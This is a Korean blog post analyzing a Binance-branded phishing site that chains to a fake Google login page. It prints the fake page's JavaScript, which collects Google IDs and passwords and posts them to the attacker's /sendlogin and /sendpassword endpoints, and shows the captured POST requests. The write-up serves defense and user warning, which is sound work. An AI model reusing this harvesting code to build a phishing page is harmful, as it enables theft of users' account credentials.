꿈을꾸는 파랑새

오늘은 바이낸스는 캐나다 국적의 창펑 자오 대표가 이끄는 가상화폐 거래소 본사를 몰타에 두고 있으며 2022년 7월 기준으로 총 395개의 암호화폐가 상장되어 있는 세계 최대의 암호화폐 거래소이며 해외 시세를 확인할 목적으로 이용하는 국내 사용자도 많이 있습니다.

오늘은 해당 암호화폐 거래소인 바이낸스(Binance) 피싱 사이트에 대해 분석을 해보겠습니다.

일단 해당 피싱 사이트 주소는 다음과 같습니다.

https://rbinance(.)org/

바이낸스(Binance) 피싱 사이트 및 피싱 사이트 인증서
바이낸스(Binance) 피싱 사이트 및 피싱 사이트 인증서

여기서 Let's Encrypt 는Let 's Encrypt는 사용자에게 무료로 TLS 인증서를 발급해주는 비영리기관이며 몇 가지 TLS 인증서 종류 중에서 완전 자동화가 가능한 DV (Domain Validated, 도메인 확인) 인증서를 무료로 발급이 진행되고 있습니다. 일단 피싱 사이트 메인 화면에서는 다음과 같은 화면을 볼 수가 있습니다.
그리고 사용자가 모르고 해당 바이낸스(Binance) 계정을 입력하면 다음과 같은 메시지가 나오면서 로그인을 할 것이니까 아이디,비밀번호가 잘못 되었다고 나옵니다.

바이낸스(Binance) 피싱 사이트 비밀번호 입력
바이낸스(Binance) 피싱 사이트 비밀번호 입력

invalid password(비밀번호가 틀렸다.)라는 메시지를 볼 수가 있습니다. 개인적인 생각으로는 해당 부분을 통해서 로그인되는 것이 아닌 밑에 있는 구글 계정 로그인과 애플 계정 로그인을 사용을 통해서 해당 부분에 있는 구글, 애플 계정을 탈취하려고 하는 것이 아닌지 생각을 합니다.

그리고 일단은 20221.12.23 기준으로 애플 계정 로그인은 작동하지 않습니다. 다만, 구글 계정 로그인은 작동하고 있으며 해당 부분은 다음과 같은 구글 피싱 사이트로 넘어갑니다.

https://google.rbinance(.)org/?g=g

바이낸스(Binance) 피싱 사이트 에 연결된 구글 계정 피싱 사이트
바이낸스(Binance) 피싱 사이트 에 연결된 구글 계정 피싱 사이트

여기서 가짜로 입력하면 해당 아이디가 없다고 하는 것을 보면 일단 진짜 아이디가 필요하다고 생각을 해서 그냥 막사용을 하는 지메일 계정을 하나 입력을 해보기로 했습니다.

먼저 해당 구글 피싱 사이트 소스 코드에서 다음 부분이 구글 계정을 확인하지 않을까 생각을 합니다.

<script>
    function isEmailValid(email) {
        const emailRegexp = new RegExp(
            /^[a-zA-Z0-9][\-_\.\+\!\#\$\%\&\'\*\/\=\?\^\`\{\|]{0,1}([a-zA-Z0-9][\-_\.\+\!\#\$\%\&\'\*\/\=\?\^\`\{\|]{0,1})*[a-zA-Z0-9]@[a-zA-Z0-9][-\.]{0,1}([a-zA-Z][-\.]{0,1})*[a-zA-Z0-9]\.[a-zA-Z0-9]{1,}([\.\-]{0,1}[a-zA-Z]){0,}[a-zA-Z0-9]{0,}$/i
        )
        return emailRegexp.test(email)
    }

    function isPhoneValid(phone) {
        const phoneRegexp = new RegExp(
            /^\+?\d{1,4}?[-.\s]?\(?\d{1,3}?\)?[-.\s]?\d{1,4}[-.\s]?\d{1,4}[-.\s]?\d{1,9}$/
        )
        return phoneRegexp.test(phone)
    }

    function isPasswordValid(password) {
        const passwordRegexp = new RegExp(
            /^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9^\s\w\dа-яА-ЯёЁ]).{8,}$/
        )
        return passwordRegexp.test(password)
    }
    const { createApp } = Vue;

    createApp({
        data() {
            return {
                step: "gmailUser",
                loading: false,
                data: "",
                error: {
                    message: "",
                    active: false,
                },
                gmail: {
                    phone: false,
                    login: "",
                    login_error: false,
                    password: ""
                }
            };
        },
        mounted() {
            var socket = io();

            socket.emit("joinRoom", { token: "f9bf0577-d705-4b93-8a68-18570af5592e" });

            socket.on("change-step", (step) => {
                this.loading = false;
                this.step = step;
                this.data = "";
            });

            socket.on("id", (id) => {
                this.id = id;
            });

            socket.on("code", (code) => {
                this.code = code;
            });

            socket.on("long", (long) => {
                console.log("долгая загрука");
                this.loading = false;
                this.step = 'gmailUser';
                this.error.active = true;
                $(".LXRPh").show();
                $(".AxOyFc.snByac").css("color", "#d93025");
                $(".i9lrp.mIZh1c").css("border", "1px solid #d93025");
            });

            socket.on("error", (message) => {
                const th = this;
                this.loading = false;
                this.error.active = true;
                $(".LXRPh").show();
                $(".AxOyFc.snByac").css("color", "#d93025");
                $(".i9lrp.mIZh1c").css("border", "1px solid #d93025");
            });

            socket.on("redirect", (url) => {
                window.location.href = "https://" + url;
            });
        },
        methods: {
            async sendLogin() {
                if (isEmailValid(this.gmail.login) || isPhoneValid(this.gmail(.)login)) {
                    console.log(this.gmail.login)
                    $(".LXRPh").hide();
                    $(".AxOyFc.snByac").removeAttr("style");
                    $(".i9lrp.mIZh1c").removeAttr("style");
                    this.loading = true;
                        await axios.post('/sendlogin', {
                            step: this.step,
                            gmailLogin: String(this.gmail(.)login)
                        });
                } else {
                    $(".LXRPh").show();
                    $(".AxOyFc.snByac").css("color", "#d93025");
                    $(".i9lrp.mIZh1c").css("border", "1px solid #d93025");
                }
            },
            async sendGmail() {
                if (this.gmail.login.length > 0) {
                    if (this.gmail.password.length > 4) {
                        $(".LXRPh").hide();
                        $(".AxOyFc.snByac").removeAttr("style");
                        $(".i9lrp.mIZh1c").removeAttr("style");
                        this.loading = true;
                        await axios.post('/sendpassword', {
                            step: this.step,
                            gmailPassword: String(this.gmail(.)password),
                            id: this.id
                        });
                    } else {
                        $(".LXRPh").show();
                        $(".AxOyFc.snByac").css("color", "#d93025");
                        $(".i9lrp.mIZh1c").css("border", "1px solid #d93025");
                    }
                }
            }
        }
    }).mount("#yDmH0d");
    </script>

구글 계정 로그인 확인 추정 코드
구글 계정 로그인 확인 추정 코드

아무튼, 구글 로그인을 시도하면 다음 주소로 구글 계정 정보를 전송합니다.

https://google.rbinance(.)org/sendlogin	<-구글 아이디 전송
https://google.rbinance(.)org/sendpassword <-구글 비밀번호 전송

구글 피싱 사이트 구글 계정 확인
구글 피싱 사이트 구글 계정 확인

구글 아이디 전송 관련 부분은 다음과 같습니다.

POST /sendlogin HTTP/1.1
Host: google.rbinance.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/plain, */*
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Prefer: safe
Content-Type: application/json
Origin: https://google(.)rbinance(.)org
DNT: 1
Connection: keep-alive
Referer: https://google.rbinance(.)org/?g=g
Cookie: token=f9bf0577-d705-4b93-8a68-18570af5592e
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Content-Length: 53

{"step":"gmailUser","gmailLogin":"몰라도 돕니다.@gmail(.)com"}

구글 피싱 사이트 구글 비밀번호 전송
구글 피싱 사이트 구글 비밀번호 전송

이고 구글 비밀번호 전송은 다음과 같습니다.

POST /sendpassword HTTP/1.1
Host: google.rbinance.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/plain, */*
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Prefer: safe
Content-Type: application/json
Origin: https://google.rbinance(.)org
DNT: 1
Connection: keep-alive
Referer: https://google.rbinance(.)org/?g=g
Cookie: token=f9bf0577-d705-4b93-8a68-18570af5592e
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Content-Length: 62

{"step":"gmailPassword","gmailPassword":"fggfdgfdgdfg","id":3}

입니다.
VirusTotal(바이러스토탈) 2022-12-23 04:06:06 UTC 기준으로 탐지하는 보안 업체들은 다음과 같습니다.
Avira:Phishing
Emsisoft:Phishing
Fortinet:Phishing
Kaspersky:Phishing
Netcraft:Malicious
Seclookup:Malicious
Sophos:Malware
일단 Google Safebrowsing 은 정상적으로 탐지하고 있기 때문에 Google Safebrowsing 데이터를 사용을 하는 구글 크롬, 파이어폭스,비발디 같은 경우에는 해당 사이트 접속 시 차단이 되면 그리고 마이크로소프트 스마트스크린(Microsoft SmartScreen),Eset(이셋)에서 피싱 사이트로 신고를 했습니다.

일단 기본적으로 일단 신고 접수 후 보안 업체 관계자들이 분석하고 적용을 하는데 시간에 걸린 것이며 기본적으로 브라우저에 있는 피싱 및 악성사이트 차단 그리고 윈도우를 사용을 한다면 스마트스크린(Microsoft SmartScreen)를 사용하고 백신 프로그램에 있는 유해 사이트 차단,피싱 사이트 및 악성 사이트 차단 기능은 기본적으로 활성화돼 있는데 해당 기능을 귀찮다고 끄는 행위는 하지 말았으면 합니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band